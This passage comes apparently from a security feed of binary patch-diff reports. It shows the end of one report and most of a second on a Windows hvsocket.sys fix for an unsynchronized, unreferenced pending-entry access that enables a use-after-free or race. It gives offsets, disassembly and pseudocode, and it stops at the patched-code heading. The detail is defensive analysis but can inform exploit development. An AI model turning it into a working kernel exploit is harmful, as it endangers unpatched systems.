- &lt;strong&gt;&lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C001B630&lt;/code&gt; → patched &lt;code&gt;0x1C001B530&lt;/code&gt;, Sim 0.6072): gate removed; always references the delivery queue and calls &lt;code&gt;VmbusTlLoopbackSetEndpointDeliveryQueue&lt;/code&gt; (the non-feature mutex branch dropped).
- &lt;strong&gt;&lt;code&gt;VmbusTlCommonConnectCompletion&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C0002670&lt;/code&gt; → patched &lt;code&gt;0x1C00023D0&lt;/code&gt;, Sim 0.9609): gate removed from a compound condition — &lt;code&gt;if (EvaluateCurrentState() &amp;amp;&amp;amp; (flags &amp;amp; 0x80))&lt;/code&gt; becomes &lt;code&gt;if (flags &amp;amp; 0x80)&lt;/code&gt;.
- &lt;strong&gt;&lt;code&gt;VmbusTlProviderListen&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C001E420&lt;/code&gt; → patched &lt;code&gt;0x1C001E290&lt;/code&gt;, Sim 0.5765): top-level gate removed, collapsing two near-duplicate silo/partition-resolution paths into one; the former &lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; wrapper is inlined here.
- &lt;strong&gt;&lt;code&gt;VmbusTlProcessNewConnectionForListener&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C0019E60&lt;/code&gt; → patched &lt;code&gt;0x1C0019DB0&lt;/code&gt;, Sim 0.9756): two &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gates removed; the fast-mutex-guarded partition lookup / state check now runs unconditionally.&lt;/p&gt;
&lt;p&gt;Additionally, the enabling mechanism (not a separate vulnerability):
- &lt;strong&gt;&lt;code&gt;rbc_InitializeFeatureStaging&lt;/code&gt;&lt;/strong&gt; (unpatched &lt;code&gt;0x1C000C694&lt;/code&gt; → patched &lt;code&gt;0x1C000C4F8&lt;/code&gt;): the feature-descriptor registration loop is neutered to an empty range (&lt;code&gt;&amp;amp;reg_FeatureDescriptors_z .. &amp;amp;reg_FeatureDescriptors_z&lt;/code&gt;), i.e., the feature-staging table is emptied.
- &lt;strong&gt;&lt;code&gt;EvaluateCurrentState&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;, unpatched only): the gate helper itself is deleted in the patched build.&lt;/p&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;p&gt;No security-relevant functions were added or removed. &lt;code&gt;EvaluateCurrentState&lt;/code&gt; is deleted and &lt;code&gt;VmbusTlCreateListenEndpoint&lt;/code&gt; disappears through inlining into &lt;code&gt;VmbusTlProviderListen&lt;/code&gt;; both are consequences of the feature-gate removal, not independent changes. An independent content diff found no security-relevant change outside the feature-staging removal theme (authentication, address validation, bounds checks, and parsing paths are unchanged).&lt;/p&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence in the mechanism:&lt;/strong&gt; High. The conditional spinlock and its removal are directly visible in the disassembly of both builds, and &lt;code&gt;EvaluateCurrentState&lt;/code&gt; is unambiguously a feature-staging check over &lt;code&gt;reg_FeatureDescriptors_a&lt;/code&gt; via &lt;code&gt;EvaluateFeature&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confidence in impact:&lt;/strong&gt; Moderate. The spinlock is the real synchronization primitive for &lt;code&gt;object+0x2b8&lt;/code&gt; (the reference/set helpers lock it unconditionally in both builds), so skipping it is a genuine data race, and a premature-reference-drop / use-after-free of the &lt;code&gt;'Vnpi'&lt;/code&gt; object is a plausible consequence. However, the binaries do not demonstrate a concrete exploit primitive or code-execution path, and the reference-count drop/free operations occur outside the spinlock in both builds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; The unlocked path is gated by a WIL/Velocity feature flag controlled by the OS/servicing configuration, not by the attacker. Exploitability is constrained to configurations where that feature resolves to disabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CWE:&lt;/strong&gt; Primary CWE-362 (improper synchronization / race condition); potential consequence CWE-416 (use-after-free). CWE-367 (TOCTOU) is not an accurate fit — there is no re-checked condition, only unsynchronized shared-state access.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>hvsocket.sys — Feature-gated loopback endpoint use-after-free / race in teardown (CWE-416/CWE-362) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/hvsocket_d35b6e34-hvsocket-report-20260629-005917.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/hvsocket_d35b6e34-hvsocket-report-20260629-005917.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hvsocket_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hvsocket_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9678&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;269&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;260&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch removes the WIL feature gate &lt;code&gt;EvaluateCurrentState&lt;/code&gt; (&lt;code&gt;0x1C0001D78&lt;/code&gt;) from 9 loopback-transport functions. In the unpatched build the gate selects between a legacy path that touches the single pending-loopback-entry pointer at &lt;code&gt;endpoint+0x2b8&lt;/code&gt; &lt;strong&gt;without a lock or a reference count&lt;/strong&gt;, and a newer path that reads that pointer under the endpoint spinlock and takes a reference before use. Removing the gate makes the reference-counted, spinlock-synchronized path the only path, closing a use-after-free / race window against concurrent loopback teardown (CWE-416 / CWE-362). This is a synchronization fix, not a double-free. Its real-world reachability depends on the runtime default of the feature, which cannot be determined from the static image alone.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Unsynchronized pending-entry access in &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Race condition / use-after-free (CWE-362 / CWE-416)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; (unpatched &lt;code&gt;0x1C0006C30&lt;/code&gt;, patched &lt;code&gt;0x1C00068B0&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;What actually changed.&lt;/strong&gt; In the unpatched build the endpoint spinlock at &lt;code&gt;endpoint+0x48&lt;/code&gt; is acquired and released only when &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns true. The read-and-clear of the pending loopback entry pointer at &lt;code&gt;endpoint+0x2b8&lt;/code&gt; (&lt;code&gt;mov rsi, [rbx+2B8h]&lt;/code&gt; / &lt;code&gt;and qword [rbx+2B8h], 0&lt;/code&gt;) therefore runs without the spinlock on the legacy path. The patch removes the gate and acquires/releases the spinlock unconditionally, and unconditionally clears the peer back-reference &lt;code&gt;*(entry+0x68)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No double-free is present.&lt;/strong&gt; On both builds the function reads two &lt;strong&gt;distinct&lt;/strong&gt; objects and releases each exactly once:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rsi = *(endpoint+0x2b8)&lt;/code&gt; — call it object &lt;strong&gt;A&lt;/strong&gt; (the pending loopback entry).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbp = *(A+0x68)&lt;/code&gt; — call it object &lt;strong&gt;B&lt;/strong&gt; (the peer object A points to at offset &lt;code&gt;0x68&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A and B are separate &lt;code&gt;'Vnpi'&lt;/code&gt;-tagged allocations with the same layout. The function decrements A's reference count (&lt;code&gt;lock xadd [rsi+8]&lt;/code&gt;) and frees A at &lt;code&gt;0x1C0006EBC&lt;/code&gt; only if A's count reaches zero, and independently decrements B's reference count (&lt;code&gt;lock xadd [rbp+8]&lt;/code&gt;) and frees B at &lt;code&gt;0x1C0006DF1&lt;/code&gt; only if B's count reaches zero. Neither pointer is freed twice. The &lt;code&gt;and qword [rsi+68h], 0&lt;/code&gt; instruction zeroes A's &lt;code&gt;+0x68&lt;/code&gt; field (its pointer to B); it does &lt;strong&gt;not&lt;/strong&gt; zero &lt;code&gt;rsi&lt;/code&gt; itself, which continues to hold object A through its own teardown.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Entry point and data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A user-mode application closes an &lt;code&gt;AF_HYPERV&lt;/code&gt; socket that has a pending loopback entry stored at &lt;code&gt;endpoint+0x2b8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hvsocket.sys&lt;/code&gt; endpoint teardown reaches &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;On the legacy (gate-false) path, &lt;code&gt;endpoint+0x2b8&lt;/code&gt; is read and cleared without the endpoint spinlock, so a concurrent thread that reads the same slot (see Findings 2–3) can observe or race the teardown.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — Unreferenced pending-entry read in &lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use-after-free / race condition (CWE-416 / CWE-362)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackNotifyReceiveConsumed&lt;/code&gt; (unpatched &lt;code&gt;0x1C0006F50&lt;/code&gt;, patched &lt;code&gt;0x1C0006BB0&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; When &lt;code&gt;EvaluateCurrentState&lt;/code&gt; returns true, the function calls &lt;code&gt;VmbusTlLoopbackReferenceEndpointDeliveryQueue&lt;/code&gt; (&lt;code&gt;0x1C0007128&lt;/code&gt;), which acquires the endpoint spinlock, reads &lt;code&gt;endpoint+0x2b8&lt;/code&gt;, increments the entry's reference count under the lock, and releases the lock. When the gate returns false (legacy path at &lt;code&gt;0x1C00070A3&lt;/code&gt;), the function instead reads &lt;code&gt;rdi = *(endpoint+0x2b8)&lt;/code&gt; directly, dereferences &lt;code&gt;*(rdi+0x68)&lt;/code&gt; (the peer object), acquires that peer's spinlock at &lt;code&gt;+0x48&lt;/code&gt;, and sets &lt;code&gt;*(peer+0x210) |= 2&lt;/code&gt; — all without taking a reference on the entry first. A concurrent &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt; can drop the last reference and free the entry between the unlocked read and the dereference. The patch always uses the referenced path.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3 — Unreferenced pending-entry read in &lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use-after-free / race condition (CWE-416 / CWE-362)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackSend&lt;/code&gt; (unpatched &lt;code&gt;0x1C00065EC&lt;/code&gt;, patched &lt;code&gt;0x1C00062A4&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; Same pattern. On the gate-true path, &lt;code&gt;rbx = VmbusTlLoopbackReferenceEndpointDeliveryQueue(endpoint)&lt;/code&gt; returns a referenced entry (with a null check). On the legacy gate-false path at &lt;code&gt;0x1C0006640&lt;/code&gt;, &lt;code&gt;rbx = *(endpoint+0x2b8)&lt;/code&gt; is read raw with no reference and no null check, then later dereferenced (&lt;code&gt;mov rax, [rbx+68h]&lt;/code&gt; at &lt;code&gt;0x1C00066CD&lt;/code&gt;). A concurrent disconnect/close can free the entry mid-operation. The patch always uses the referenced path.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 4 — Feature-gated single-slot store in &lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; / &lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Race condition (CWE-362)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; (&lt;code&gt;0x1C001B630&lt;/code&gt;), &lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt; (&lt;code&gt;0x1C001B1D0&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; These functions create the &lt;code&gt;0x70&lt;/code&gt;-byte &lt;code&gt;'Vnpi'&lt;/code&gt; entry (&lt;code&gt;VmbusTlCreateObject&lt;/code&gt;, size &lt;code&gt;0x70&lt;/code&gt;) and publish it into &lt;code&gt;endpoint+0x2b8&lt;/code&gt;. &lt;code&gt;EvaluateCurrentState&lt;/code&gt; gates parts of the setup/teardown around this store (2 gate calls in &lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt;, 3 in &lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt;). Removing the gate makes the surrounding critical-region and mutex handling unconditional so publication and teardown of the slot follow one consistent locking discipline. This is the write side of the same synchronization change addressed in Findings 1–3.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 5 — Feature-gated cleanup path in &lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt; / &lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Informational (defense-in-depth)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Class&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lock-handling consistency&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Functions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VmbusTlLoopbackSetupConnection&lt;/code&gt; (&lt;code&gt;0x1C001B1D0&lt;/code&gt;), &lt;code&gt;VmbusTlLoopbackAcceptConnection&lt;/code&gt; (&lt;code&gt;0x1C001B630&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The gate also guarded cleanup-time &lt;code&gt;ExReleaseFastMutexUnsafe&lt;/code&gt; / &lt;code&gt;KeLeaveCriticalRegion&lt;/code&gt; and object dereference in the setup/accept paths. Removing the gate makes acquisition and release unconditional and symmetric. A lock imbalance would require the gate to evaluate differently between the matched acquire and release within a single call; because both are guarded by the same runtime feature evaluation, this is not a demonstrable imbalance in either build. The change is best read as making the locking discipline unconditional (defense-in-depth), not fixing a live deadlock.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Finding 1 — &lt;code&gt;VmbusTlLoopbackDisconnect&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ==================== UNPATCHED ====================&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;VmbusTlLoopbackDisconnect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ENDPOINT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// ep+0x10&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// WIL feature gate&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;oldirql&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ep+0x48&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ENTRY&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// pending loopback entry&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2b8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ENTRY&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// peer object (DISTINCT from A)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// clear back-reference (gated)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldirql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseFastMutexUnsafe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ep&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;mutex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// B teardown: decrement B refcount; free B (0x1C0006DF1) only if it hits zero&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// A teardown: decrement A refcount; free A (0x1C0006EBC) only if it hits zero&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// A and B are separate allocations, each freed at most once.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ==================== PATCHED ====================&lt;/span&gt;
